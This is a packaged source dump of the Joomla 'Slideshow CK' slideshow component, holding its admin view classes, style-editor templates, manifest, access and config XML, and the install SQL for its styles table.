//				$html = '<button class="btn btn-small btn-success" onclick="CKBox.open({handler:\'iframe\', fullscreen: true, url:\'' . \Joomla\CMS\Uri\Uri::root(true) . '/administrator/index.php?option=com_slideshowck&view=style&layout=modal&tmpl=component&id=0\'})">
//						<span class="icon-new icon-white"></span>
//						' . \Joomla\CMS\Language\Text::_('JTOOLBAR_NEW') . '
//						</button>';
//				$bar->appendButton('Custom', $html);
			
		}
		if (CKFof::userCan('edit')) {
			\Joomla\CMS\Toolbar\ToolbarHelper::custom('style.edit', 'edit', 'edit', 'CK_EDIT');
			\Joomla\CMS\Toolbar\ToolbarHelper::trash('style.delete');
		}

		return $bar;
	}
}
com_slideshowck/views/styles/index.html000060400000000032152455305260014374 0ustar00<html><body></body></html>com_slideshowck/views/menus/tmpl/index.html000060400000000032152455305260015154 0ustar00<html><body></body></html>com_slideshowck/views/menus/tmpl/default.php000060400000005341152455305260015324 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

// no direct access
defined('_JEXEC') or die;

$imagespath = SLIDESHOWCK_MEDIA_URI .'/images/';
$fieldid = $this->input->get('fieldid', '', 'string');

\Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');
$doc = \Joomla\CMS\Factory::getDocument();
$doc->addStylesheet(SLIDESHOWCK_MEDIA_URI . '/assets/ckbrowse.css');
$doc->addScript(SLIDESHOWCK_MEDIA_URI . '/assets/ckbrowse.js');

?>
<h3><?php echo \Joomla\CMS\Language\Text::_('CK_MENU_ITEMS') ?></h3>
<p><?php echo \Joomla\CMS\Language\Text::_('CK_MENU_ITEMS_DESC') ?></p>
<div id="ckfoldertreelist">
<?php
foreach ($this->menus as $menu) {
	?>
	<div class="ckfoldertree parent">
		<div class="ckfoldertreetoggler" onclick="ckToggleTreeSub(this, 0)" data-menutype="<?php echo $menu->menutype; ?>"></div>
		<div class="ckfoldertreename"><img src="<?php echo $imagespath ?>folder.png" /><?php echo iconv('ISO-8859-1', 'UTF-8', $menu->title); ?></div>
	</div>
	<?php
}
?>
</div>
<script>
var $ck = window.$ck || jQuery.noConflict();
var URIROOT = window.URIROOT || '<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>';
var cktoken = '<?php echo \Joomla\CMS\Session\Session::getFormToken() ?>';
//ckMakeTooltip();

function ckToggleTreeSub(btn, parentid) {
	var item = $ck(btn).parent();
	if (item.hasClass('ckopened')) {
		item.removeClass('ckopened');
	} else {
		item.addClass('ckopened');
		// load only the items if not already there
		if (! item.find('.cksubfolder').length) {
			var menutype = $ck(btn).attr('data-menutype');
			ckShowItems(btn, menutype, parentid);
		}
	}
}

function ckShowItems(btn, menutype, parentid) {
	if ($ck(btn).hasClass('empty')) return;
	ckAddWaitIcon(btn);
	var item = $ck(btn).parent();
	// ajax call to code and return items layout
	var myurl = "<?php echo \Joomla\CMS\Uri\Uri::base(true) ?>/index.php?option=com_slideshowck&task=menus.ajaxShowMenuItems&" + cktoken + "=1";
	$ck.ajax({
		type: "POST",
		url: myurl,
		data: {
			menutype: menutype,
			parentid: parentid
		}
	}).done(function(code) {
		if (code.trim().length == 0) {
			$ck(btn).css('opacity', 0).addClass('empty');
		} else {
			item.append(code);
			ckInitTooltips();
		}
		ckRemoveWaitIcon(btn);
	}).fail(function() {
		alert(CKApi.Text._('CK_FAILED', 'Failed'));
	});
}

function ckSetMenuItemUrl(url) {
	window.parent.document.getElementById('<?php echo $fieldid ?>').value = url;
	$ck(window.parent.document.getElementById('<?php echo $fieldid ?>')).trigger('change');
	window.parent.CKBox.close('#ckmenusmodal .ckboxmodal-button');
}
</script>com_slideshowck/views/menus/view.html.php000060400000001625152455305260014642 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
// No direct access
defined('_JEXEC') or die;

use \Slideshowck\CKView;
use \Slideshowck\CKFof;

class SlideshowckViewMenus extends CKView {

	protected $menus;

	/**
	 * Display the view
	 */
	public function display($tpl = 'default') {
		$user = \Joomla\CMS\Factory::getUser();
		$authorised = ($user->authorise('core.edit', 'com_slideshowck') || (count($user->getAuthorisedCategories('com_slideshowck', 'core.edit'))));

		if ($authorised !== true)
		{
			throw new Exception(\Joomla\CMS\Language\Text::_('JERROR_ALERTNOAUTHOR'), 403);
			return false;
		}

		$this->menus = $this->get('Menus');

		parent::display($tpl);
	}
}
com_slideshowck/views/menus/index.html000060400000000032152455305260014200 0ustar00<html><body></body></html>com_slideshowck/views/style/view.html.php000060400000006353152455305260014656 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
// No direct access
defined('_JEXEC') or die;

use \Slideshowck\CKView;
use \Slideshowck\CKFof;

class SlideshowckViewStyle extends CKView {

	function display($tpl = null) {
		$user = \Joomla\CMS\Factory::getUser();
		$authorised = ($user->authorise('core.edit', 'com_slideshowck') || (count($user->getAuthorisedCategories('com_slideshowck', 'core.edit'))));

		if ($authorised !== true)
		{
			throw new Exception(\Joomla\CMS\Language\Text::_('JERROR_ALERTNOAUTHOR'), 403);
			return false;
		}

		// dislay the page title
		\Joomla\CMS\Toolbar\ToolbarHelper::title(\Joomla\CMS\Language\Text::_('COM_SLIDESHOWCK') . ' - ' . \Joomla\CMS\Language\Text::_('CK_EDITION'), 'logo_slideshowck_large.png');

		// load the styles helper and the interface
		require_once JPATH_SITE . '/administrator/components/com_slideshowck/helpers/ckstyles.php';
		require_once(JPATH_SITE . '/administrator/components/com_slideshowck/helpers/ckinterface.php');

		$this->interface = new \Slideshowck\CKInterface();
		$this->item = $this->get('Item');

		$this->input->set('tmpl', 'component');
		$this->input->set('layout', 'modal');

		parent::display();
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	1.6
	 */
	protected function addToolbar() {
		SlideshowckHelper::loadCkbox();

		\Joomla\CMS\Factory::getApplication()->input->set('hidemainmenu', true);
		$user		= \Joomla\CMS\Factory::getUser();
		$userId		= $user->get('id');
		$isNew		= ($this->item->id == 0);
		$checkedOut	= !($this->item->checked_out == 0 || $this->item->checked_out == $userId);
		$state = $this->get('State');
		$canDo = SlideshowckHelper::getActions();

		// For new records, check the create permission.
		if ($isNew && $user->authorise('core.create', 'com_slideshowck'))
		{
			\Joomla\CMS\Toolbar\ToolbarHelper::apply('style.apply');
			\Joomla\CMS\Toolbar\ToolbarHelper::save('style.save');
			// \Joomla\CMS\Toolbar\ToolbarHelper::save2new('page.save2new');
			\Joomla\CMS\Toolbar\ToolbarHelper::cancel('style.cancel');
		} else
		{
			// Can't save the record if it's checked out.
			if (!$checkedOut)
			{
				// Since it's an existing record, check the edit permission, or fall back to edit own if the owner.
				if ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId))
				{
					\Joomla\CMS\Toolbar\ToolbarHelper::apply('style.apply');
					\Joomla\CMS\Toolbar\ToolbarHelper::save('style.save');
//					\Joomla\CMS\Toolbar\ToolbarHelper::custom('style.restore', 'archive', 'archive', 'CK_RESTORE', false);
					// We can save this record, but check the create permission to see if we can return to make a new one.
					if ($canDo->get('core.create'))
					{
						// \Joomla\CMS\Toolbar\ToolbarHelper::save2new('page.save2new');
					}
				}
			}

			// If checked out, we can still save
			if ($canDo->get('core.create'))
			{
				// \Joomla\CMS\Toolbar\ToolbarHelper::save2copy('page.save2copy');
			}

			\Joomla\CMS\Toolbar\ToolbarHelper::cancel('style.cancel', 'JTOOLBAR_CLOSE');
		}
	}
}
com_slideshowck/views/style/tmpl/default_importexport.php000060400000002221152455305260020163 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
defined('_JEXEC') or die;
?>
<div class="" id="ckimportpopup" style="padding:10px;display:none;">
	<div class=""><h1><?php echo \Joomla\CMS\Language\Text::_('CK_IMPORT'); ?></h1></div>
		<br />
		<?php echo SlideshowckHelper::getProMessage() ?>
</div>
<div id="ckexportpopup" class="" style="position:relative;display:none;">
	<div style="padding: 10px;">
		<div class="ckexportmodalcontent">
			<div class="" id="">
				<div class=""><h1><?php echo \Joomla\CMS\Language\Text::_('CK_EXPORT'); ?></h1></div>
					<?php echo SlideshowckHelper::getProMessage() ?>
			</div>
		</div>
	</div>
</div>
<script>
	jQuery(document).ready(function() {
		jQuery("form#importpage").on('submit', function(e) { 
			e.preventDefault();
			var form = document.forms.namedItem('importpage');
			var formData = new FormData(form);
			ckUploadParamsFile(formData);
			return false;
		});
	});
</script>com_slideshowck/views/style/tmpl/index.html000060400000000054152455305260015171 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/views/style/tmpl/default.php000060400000036726152455305260015350 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

defined('_JEXEC') or die;

require_once(JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/defines.js.php');

Slideshowck\CKFramework::load();
Slideshowck\CKFramework::loadFaIconsInline();
SlideshowckHelper::loadCkbox();

$imagespath = SLIDESHOWCK_MEDIA_URI .'/images/';
//\Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');
$doc = \Joomla\CMS\Factory::getDocument();
$doc->addStylesheet(SLIDESHOWCK_MEDIA_URI . '/assets/admin.css');
$doc->addStylesheet(\Joomla\CMS\Uri\Uri::root(true) . '/modules/mod_slideshowck/themes/default/css/camera.css');
$doc->addScript(SLIDESHOWCK_MEDIA_URI . '/assets/jscolor/jscolor.js');
$doc->addScript(SLIDESHOWCK_MEDIA_URI . '/assets/admin.js');

$popupclass = ($this->input->get('layout', '', 'string') === 'modal') ? 'ckpopupwizard' : '';

// Load the JS strings
\Joomla\CMS\Language\Text::script('CK_DOWNLOAD');
?>
<style>
#stylescontainerleft, #stylescontainerright {
	float :left;
	width: auto;
	padding: 10px;
	box-sizing: border-box;
}

#stylescontainerleft {
	width: 810px;
}
body.contentpane {
	padding-top: 65px;
}
</style>

<?php // Rules for the styles rendering ?>
<div class="menustylescustom" data-prefix="container" data-rule="[container]"></div>
<div class="menustylescustom" data-prefix="slide" data-rule="[slide]"></div>
<div class="menustylescustom" data-prefix="navigation" data-rule="[navigation]"></div>
<div class="menustylescustom" data-prefix="pagination" data-rule="[pagination]"></div>
<div class="menustylescustom" data-prefix="paginationdotthumbs" data-rule="[paginationdotthumbs]"></div>
<div class="menustylescustom" data-prefix="caption" data-rule="[caption]"></div>
<div class="menustylescustom" data-prefix="title" data-rule="[title]"></div>
<div class="menustylescustom" data-prefix="text" data-rule="[text]"></div>
<div class="menustylescustom" data-prefix="button" data-rule="[button]"></div>
<div class="menustylescustom" data-prefix="buttonhover" data-rule="[buttonhover]"></div>


<div id="ckheader">
	<div class="ckheaderlogo"><a href="https://www.joomlack.fr" target="_blank"><img title="JoomlaCK" src="https://media.joomlack.fr/images/logo_ck_white.png" width="35" height="35"></a></div>
	<div class="ckheadermenu">
		<div class="ckheadertitle">SLIDESHOW CK</div>
		<a href="javascript:void(0);"  class="ckheadermenuitem" onclick="ckImportParams('<?php echo $this->input->get('id',0,'int'); ?>')">
			<span class="fa fas fa-file-import cktip" data-placement="bottom" title="<?php echo \Joomla\CMS\Language\Text::_('CK_IMPORT') ?>"></span>
			<span class="ckheadermenuitemtext"><?php echo \Joomla\CMS\Language\Text::_('CK_IMPORT') ?></span>
		</a>
		<a href="javascript:void(0);"  class="ckheadermenuitem" onclick="ckExportParams('<?php echo $this->input->get('id',0,'int'); ?>')">
			<span class="fa fas fa-file-export cktip" data-placement="bottom" title="<?php echo \Joomla\CMS\Language\Text::_('CK_EXPORT') ?>"></span>
			<span class="ckheadermenuitemtext"><?php echo \Joomla\CMS\Language\Text::_('CK_EXPORT') ?></span>
		</a>
		<a href="javascript:void(0);"  class="ckheadermenuitem" onclick="ckClearFields()">
			<span class="fa fas fa-broom cktip" data-placement="bottom" title="<?php echo \Joomla\CMS\Language\Text::_('CK_CLEAR_FIELDS') ?>"></span>
			<span class="ckheadermenuitemtext"><?php echo \Joomla\CMS\Language\Text::_('CK_CLEAR_FIELDS') ?></span>
		</a>
		<a href="javascript:void(0);" class="ckheadermenuitem" onclick="ckPreviewStylesparams()">
			<span class="fa fas fa-eye cktip" data-placement="bottom" title="<?php echo \Joomla\CMS\Language\Text::_('CK_PREVIEW') ?>"></span>
			<span class="ckheadermenuitemtext"><?php echo \Joomla\CMS\Language\Text::_('CK_PREVIEW') ?></span>
		</a>
		<a href="javascript:void(0)" onclick="window.parent.CKBox.close()" class="ckheadermenuitem ckcancel">
			<span class="fa fa-times cktip" data-placement="bottom" title="<?php echo \Joomla\CMS\Language\Text::_('CK_EXIT') ?>"></span>
			<span class="ckheadermenuitemtext"><?php echo \Joomla\CMS\Language\Text::_('CK_EXIT') ?></span>
		</a>
		<a href="javascript:void(0);" id="ckpopupstyleswizard_save" class="ckheadermenuitem cksave" onclick="ckSaveStylesparams(this, '<?php echo $this->input->get('id',0,'int'); ?>', '<?php echo $this->input->get('layout','','string'); ?>')">
			<span class="fa fa-check cktip" data-placement="bottom" title="<?php echo \Joomla\CMS\Language\Text::_('CK_SAVE') ?>"></span>
			<span class="ckheadermenuitemtext"><?php echo \Joomla\CMS\Language\Text::_('CK_SAVE') ?></span>
		</a>
	</div>
</div>

<div id="ckpopupstyleswizard" class="<?php echo $popupclass; ?>">
	<input type="hidden" id="id" name="id" value="<?php echo $this->item->id; ?>" />
	<input type="hidden" id="layoutcss" name="layoutcss" value="<?php echo $this->item->layoutcss; ?>" />
	<input type="hidden" id="params" name="params" value="<?php echo htmlspecialchars($this->item->params); ?>" />
	<input type="hidden" id="returnFunc" name="returnFunc" value="<?php echo htmlspecialchars($this->input->get('returnFunc', '', 'cmd')); ?>" />
	<div id="stylescontainer" style="min-width: 1300px;" class="animateck">
	<div id="stylescontainerleft" class="ckinterface">
		<label for="name" style="display: inline-block;"><?php echo \Joomla\CMS\Language\Text::_('CK_NAME'); ?></label>
		<input type="text" id="name" name="name" value="<?php echo $this->item->name; ?>" />
		<div id="styleswizard_options" class="styleswizard">
			<div class="ckinterfacetablink current" data-tab="tab_container" data-group="main"><?php echo \Joomla\CMS\Language\Text::_('CK_SLIDESHOW'); ?></div>
			<div class="ckinterfacetablink" data-tab="tab_caption" data-group="main"><?php echo \Joomla\CMS\Language\Text::_('CK_CAPTION'); ?></div>
			<div class="ckinterfacetablink" data-tab="tab_title" data-group="main"><?php echo \Joomla\CMS\Language\Text::_('CK_TITLE'); ?></div>
			<div class="ckinterfacetablink" data-tab="tab_description" data-group="main"><?php echo \Joomla\CMS\Language\Text::_('CK_DESCRIPTION'); ?></div>
			<div class="ckinterfacetablink" data-tab="tab_button" data-group="main"><?php echo \Joomla\CMS\Language\Text::_('CK_BUTTON'); ?></div>
			<div class="ckinterfacetablink" data-tab="tab_custom" data-group="main"><?php echo \Joomla\CMS\Language\Text::_('CK_CUSTOM_CSS'); ?></div>
			<div class="ckinterfacetablink" data-tab="tab_presets" data-group="main"><?php echo \Joomla\CMS\Language\Text::_('CK_PRESETS'); ?></div>
			<div class="ckclr"></div>
			<div class="ckinterfacetab current hascol" id="tab_container" data-group="main">
				<div class="ckcol_left">
					<div class="ckinterfacetablink current" data-tab="tab_mainslider" data-group="container"><?php echo \Joomla\CMS\Language\Text::_('CK_CONTAINER'); ?></div>
					<div class="ckinterfacetablink" data-tab="tab_mainnavigation" data-group="container"><?php echo \Joomla\CMS\Language\Text::_('CK_NAVIGATION'); ?></div>
					<div class="ckinterfacetablink" data-tab="tab_mainpagination" data-group="container"><?php echo \Joomla\CMS\Language\Text::_('CK_PAGINATION'); ?></div>
				</div>
				<div class="ckcol_right">
					<div class="ckinterfacetab current" id="tab_mainslider" data-group="container">
						<?php
						echo $this->interface->createMargins('container');
						echo $this->interface->createBorders('container');
						echo $this->interface->createShadow('container');
						?>
					</div>
					<div class="ckinterfacetab" id="tab_mainnavigation" data-group="container">
						<?php echo SlideshowckHelper::getProMessage() ?>
					</div>
					<div class="ckinterfacetab" id="tab_mainpagination" data-group="container">
						<?php echo SlideshowckHelper::getProMessage() ?>
					</div>
				</div>
				<div style="clear:both;"></div>
			</div>
			<div class="ckinterfacetab" id="tab_caption" data-group="main">
				<div class="ckrow">
					<label for="layoutposition"><?php echo \Joomla\CMS\Language\Text::_('CK_LAYOUT'); ?></label>
					<img class="ckicon" src="<?php echo $this->interface->imagespath ?>/layout.png" />
					<?php 
					$html = '<span class="ckinfo" style="display: inline-block;"><i class="fas fa-info"></i><a href="https://www.joomlack.fr/en/joomla-extensions/slideshow-ck" target="_blank">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_ONLY_PRO') . '</a></span>';
					echo $html
					?>
				</div>
				<?php echo $this->interface->createAll('caption'); ?>
			</div>
			<div class="ckinterfacetab" id="tab_title" data-group="main">
				<?php echo SlideshowckHelper::getProMessage() ?>
			</div>
			<div class="ckinterfacetab" id="tab_description" data-group="main">
				<?php echo SlideshowckHelper::getProMessage() ?>
			</div>
			<div class="ckinterfacetab hascol" id="tab_button" data-group="main">
				<div class="ckcol_left">
					<div class="ckinterfacetablink current" data-tab="tab_buttonnormal" data-group="button"><?php echo \Joomla\CMS\Language\Text::_('CK_BUTTON'); ?></div>
					<div class="ckinterfacetablink" data-tab="tab_buttonhover" data-group="button"><?php echo \Joomla\CMS\Language\Text::_('CK_BUTTON_HOVER'); ?></div>
				</div>
				<div class="ckcol_right">
					<div class="ckinterfacetab current" id="tab_buttonnormal" data-group="button">
						<?php echo SlideshowckHelper::getProMessage() ?>
					</div>
					<div class="ckinterfacetab" id="tab_buttonhover" data-group="button">
						<?php echo SlideshowckHelper::getProMessage() ?>
					</div>
					<div style="clear:both;"></div>
				</div>
			</div>
			
			<div class="ckinterfacetab" id="tab_custom" data-group="main">
				<div id="customcssbuttons">
					<div class="customcssbutton ckbutton" data-prefix="container" data-rule="[container] { }"><?php echo \Joomla\CMS\Language\Text::_('CK_CONTAINER'); ?></div>
					<div class="customcssbutton ckbutton" data-prefix="caption" data-rule="[caption] { }"><?php echo \Joomla\CMS\Language\Text::_('CK_CAPTION'); ?></div>
					<div class="customcssbutton ckbutton" data-prefix="title" data-rule="[title] { }"><?php echo \Joomla\CMS\Language\Text::_('CK_TITLE'); ?></div>
					<div class="customcssbutton ckbutton" data-prefix="text" data-rule="[text] { }"><?php echo \Joomla\CMS\Language\Text::_('CK_TEXT'); ?></div>
					<div class="customcssbutton ckbutton" data-prefix="button" data-rule="[button] { }"><?php echo \Joomla\CMS\Language\Text::_('CK_BUTTON'); ?></div>
					<div class="customcssbutton ckbutton" data-prefix="buttonhover" data-rule="[buttonhover] { }"><?php echo \Joomla\CMS\Language\Text::_('CK_BUTTON_HOVER'); ?></div>
					<div class="customcssbutton ckbutton" data-prefix="paginationdotthumbs" data-rule="[paginationdotthumbs] { }"><?php echo \Joomla\CMS\Language\Text::_('CK_PAGINATION_WITH_DOTS'); ?></div>
				</div>
				<textarea id="customcss" name="customcss" style="width:450px;height:300px;"></textarea>
			</div>
			<div class="ckinterfacetab" id="tab_presets" data-group="main">
				<?php echo SlideshowckHelper::getProMessage() ?>
			</div>
		</div>
	</div>
	<div id="stylescontainerright">
		<div id="previewarea">
			<div class="ckstyle"></div>
			<div class="slideshowck camera_wrap camera_amber_skin" id="slideshowckdemo1" style="display: block; height: 250px; width:403px;margin-bottom: 61px;">
				<div class="camera_fakehover">
					<div class="camera_target">
						<div class="cameraCont">
							<div class="cameraSlide cameraSlide_0 cameracurrent" style="visibility: visible; z-index: 999;">
								<img src="<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>/media/com_slideshowck/images/slides/road.jpg" class="imgLoaded" style="visibility: visible; height: auto; margin-left: 0px; margin-right: 0px; margin-top: 0px; position: absolute; width: 403px;" data-alignment="" data-portrait="" alt="On the road again" width="1280" height="800">
								<div class="camerarelative" style="width: 403px; height: 250px;"></div>
							</div>
						</div>
					</div>
					<div class="camera_overlayer"></div>
					<div class="camera_target_content">
						<div class="cameraContents">
							<div class="cameraContent cameracurrent" style="display: block;"></div>
							<div class="cameraContent" style="display: block;">
								<div class="camera_caption moveFromLeft" style="visibility: visible;">
									<div>
										<div class="camera_caption_title">On the road again</div>
										<div class="camera_caption_desc">Lorem ipsum dolor sit amet</div>
										<a class="camera-button" href="#">Read more ...</a>
									</div>
								</div>
							</div>
							<div class="cameraContent"></div>
						</div>
					</div>
					<div class="camera_pie">
						<canvas id="pie_camera_wrap_128" width="38" height="38" style="position: absolute; z-index: 1002; right: 0px; top: 0px; display: none; opacity: 0.8;"></canvas>
					</div>
					<div class="camera_commands" style="opacity: 1;">
						<div class="camera_play" tabindex="0" aria-label="Start the slideshow" style="display: block;"></div>
						<div class="camera_stop" tabindex="0" aria-label="Pause the slideshow" style="display: none;"></div>
					</div>
					<div class="camera_prev" tabindex="0" style="opacity: 1;">
						<span></span>
					</div>
					<div class="camera_next" tabindex="0" style="opacity: 1;">
						<span></span>
					</div>
				</div>
				<div class="camera_thumbs_cont" style="visibility: visible;"></div>
				<div class="camera_pag">
					<ul class="camera_pag_ul">
						<li class="pag_nav_0 cameracurrent" style="position:relative; z-index:1002" tabindex="0" aria-label="Show slide 1"><span><span>0</span></span><img src="<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>/media/com_slideshowck/images/slides/road.jpg" class="camera_thumb" style="position: absolute; width:100px;height:62px;opacity: 1;display: block; top: -65px;left:-46px;"><div class="thumb_arrow" style="opacity: 1;display: block;margin-top: -3px;"></div></li>
						<li class="pag_nav_1" style="position:relative; z-index:1002" tabindex="0" aria-label="Show slide 2"><span><span>1</span></span><img src="<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>/media/com_slideshowck/images/slides/th/road_th.jpg" class="camera_thumb" style="position: absolute; opacity: 0;"><div class="thumb_arrow" style="opacity: 0;"></div></li>
						<li class="pag_nav_2" style="position:relative; z-index:1002" tabindex="0" aria-label="Show slide 3"><span><span>2</span></span><img src="<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>/media/com_slideshowck/images/slides2/th/sea_th.jpg" class="camera_thumb" style="position: absolute; opacity: 0;"><div class="thumb_arrow" style="opacity: 0;"></div></li>
					</ul>
				</div>
				<div class="camera_loader" style="display: none;"></div>
			</div>
		</div>
	</div>
	<div style="clear:both;"></div>
</div>
<?php require_once ('default_importexport.php'); ?>
</div>
<script type="text/javascript">
	SLIDESHOWCK.CKCSSREPLACEMENT = new Object();
	<?php foreach (SlideshowckHelper::getCssReplacement() as $tag => $rep) { ?>
	SLIDESHOWCK.CKCSSREPLACEMENT['<?php echo $tag ?>'] = '<?php echo $rep ?>';
	<?php } ?>

	jQuery(document).ready(function($){
		CKBox.initialize({});
		CKBox.assign($('a.modal'), {
			parse: 'rel'
		});
		CKApi.Tooltip('.cktip');

		// manage the tabs
		ckInitTabs();
		// launch the preview when the user do a change
		$('#styleswizard_options input,#styleswizard_options select,#styleswizard_options textarea').change(function() {
			ckPreviewStylesparams();
		});

		ckApplyStylesparams();
		ckSetFloatingOnPreview();
		ckPlayAnimationPreview();
		
		$ck('.customcssbutton').click(function() {
			$ck('#customcss').val($ck('#customcss').val() + $ck(this).attr('data-rule'));
		});
	});
</script>
com_slideshowck/views/style/tmpl/default_themes.php000060400000002343152455305260016701 0ustar00<?php
/**
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - http://www.template-creator.com - http://www.joomlack.fr
 */
defined('_JEXEC') or die;

use \Slideshowck\CKFolder;

//$path = '/administrator/components/com_slideshowck/presets/';
$folder_path = SLIDESHOWCK_MEDIA_PATH . '/presets/';
$presets = CKFolder::files($folder_path, '.mmck');
natsort($presets);
$i = 1;
echo '<div class="clearfix" style="min-height:35px;margin: 0 5px;">';
foreach ($presets as $preset) {
	$presetName = \Joomla\CMS\Filesystem\File::stripExt($preset);
	$theme_title = "";
	if ( file_exists($folder_path .$presetName . '.png') ) {
		$theme = SLIDESHOWCK_MEDIA_URL . '/presets/' . $presetName . '.png';
	} else {
		$theme = SLIDESHOWCK_MEDIA_URL . '/images/unknown.png" width="110" height="110';
	}

	echo '<div class="themethumb" data-name="' . $presetName . '" onclick="ckLoadPreset(\'' . $presetName . '\')">'
		. '<div class="themethumbimg">'
		. '<img src="' . $theme . '" style="margin:0;padding:0;" title="' . $theme_title . '" class="hasTip" />'
		. '</div>'
		. '<div class="themename">' . $presetName . '</div>'
		. '</div>';
	$i++;
}
echo '</div>';com_slideshowck/views/style/index.html000060400000000054152455305260014215 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/slideshowck.xml000060400000005114152455305260012766 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.0" method="upgrade">
	<name>com_slideshowck</name>
	<ckpro>0</ckpro>
	<variant>free</variant>
	<creationDate>April 2019</creationDate>
	<copyright>Copyright (C) 2019. All rights reserved.</copyright>
	<license>GNU General Public License version 2 or later</license>
	<author>Cedric Keiflin</author>
	<authorEmail>ced1870@gmail.com</authorEmail>
	<authorUrl>https://www.joomlack.fr</authorUrl>
	<version>2.5.2</version>
	<description>SLIDESHOWCK_DESC</description>
	<install>
		<sql>
			<file driver="mysql" charset="utf8">sql/install.mysql.utf8.sql</file>
		</sql>
	</install>
	<uninstall>
		<sql>
			<file driver="mysql" charset="utf8">sql/uninstall.mysql.utf8.sql</file>
		</sql>
	</uninstall>
	<update> 
		<schemas> 
			<schemapath type="mysql">sql/updates</schemapath> 
		</schemas> 
	</update>
	<scriptfile>install.php</scriptfile>
	<files folder="site">
		<folder>controllers</folder>
		<folder>language</folder>
		<folder>models</folder>
		<folder>views</folder>
		<filename>controller.php</filename>
		<filename>index.html</filename>
		<filename>slideshowck.php</filename>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB/en-GB.com_slideshowck.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.com_slideshowck.sys.ini</language>
		<language tag="fr-FR">language/fr-FR/fr-FR.com_slideshowck.ini</language>
		<language tag="fr-FR">language/fr-FR/fr-FR.com_slideshowck.sys.ini</language>
	</languages>
	<media folder="media" destination="com_slideshowck">
		<folder>assets</folder>
		<folder>images</folder>
		<folder>presets</folder>
	</media>
	<administration>
		<files folder="administrator">
			<folder>backup</folder>
			<folder>controllers</folder>
			<folder>elements</folder>
			<folder>extensions</folder>
			<folder>export</folder>
			<folder>helpers</folder>
			<folder>language</folder>
			<folder>models</folder>
			<folder>sql</folder>
			<folder>tables</folder>
			<folder>views</folder>
			<filename>access.xml</filename>
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>index.html</filename>
			<filename>slideshowck.php</filename>
		</files>
		<languages folder="administrator">
			<language tag="en-GB">language/en-GB/en-GB.com_slideshowck.sys.ini</language>
			<language tag="fr-FR">language/fr-FR/fr-FR.com_slideshowck.sys.ini</language>
		</languages>
	</administration>
	<updateservers>
		<server type="extension" priority="1" name="Slideshow CK Light Update">https://update.joomlack.fr/slideshowck_light_update.xml</server>
	</updateservers>
</extension>com_slideshowck/access.xml000060400000000332152455305260011705 0ustar00<?xml version="1.0" encoding="utf-8"?>
<access component="com_slideshowck">
	<section name="component">
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
	</section>
</access>com_slideshowck/tables/index.html000060400000000032152455305260013166 0ustar00<html><body></body></html>com_slideshowck/tables/styles.php000060400000001202152455305260013225 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

// No direct access
defined('_JEXEC') or die;

class SlideshowckTableStyles extends \Joomla\CMS\Table\Table {

	/**
	 * Constructor
	 *
	 * @param \Joomla\Data\DataObjectbase A database connector object
	 */
	public function __construct(&$db) {
		$this->setColumnAlias('published', 'state');
		parent::__construct('#__slideshowck_styles', 'id', $db);
	}
}
com_slideshowck/config.xml000060400000000534152455305260011715 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset name="permissions"
		description="JCONFIG_PERMISSIONS_DESC"
		label="JCONFIG_PERMISSIONS_LABEL"
	>
		<field name="rules" type="rules"
			component="com_slideshowck"
			filter="rules"
			validate="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			section="component" />
	</fieldset>

</config>com_slideshowck/sql/install.mysql.utf8.sql000060400000000505152455305260014743 0ustar00CREATE TABLE IF NOT EXISTS `#__slideshowck_styles` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` text NOT NULL,
  `state` int(10) NOT NULL DEFAULT '1',
  `params` longtext NOT NULL,
  `layoutcss` text NOT NULL,
  `checked_out` varchar(10) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8;

